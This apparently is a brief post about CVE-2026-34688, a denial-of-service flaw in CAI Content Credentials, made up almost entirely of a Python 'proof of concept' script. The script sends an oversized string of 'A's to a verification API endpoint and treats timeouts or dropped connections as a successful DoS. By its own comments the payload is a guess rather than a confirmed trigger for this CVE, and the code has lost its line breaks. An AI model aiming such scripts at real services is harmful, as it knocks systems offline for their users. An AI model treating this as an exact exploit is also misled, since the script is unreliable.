CVE-2026-34688：CAI Content Credentials输入验证漏洞致DoS

import requests # Conceptual Proof of Concept (PoC) for CVE-2026-34688 # This script demonstrates how improper input validation # can lead to a Denial of Service (DoS) in CAI Content Credentials. TARGET_URL = "http://localhost:8080/api/verify" def trigger_dos(): # Craft a malicious payload that bypasses validation # This could be an oversized string or specific malformed characters # depending on the actual implementation details of the vulnerable component. malicious_payload = "A" * 100000 headers = { "Content-Type": "application/json" } try: print(f"Sending payload to {TARGET_URL}...") response = requests.post(TARGET_URL, json={"data": malicious_payload}, headers=headers, timeout=5) print(f"Request completed with status: {response.status_code}") except requests.exceptions.Timeout: print("[+] Potential DoS triggered: Server timed out.") except requests.exceptions.ConnectionError: print("[+] Potential DoS triggered: Server connection refused (crashed).") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": trigger_dos()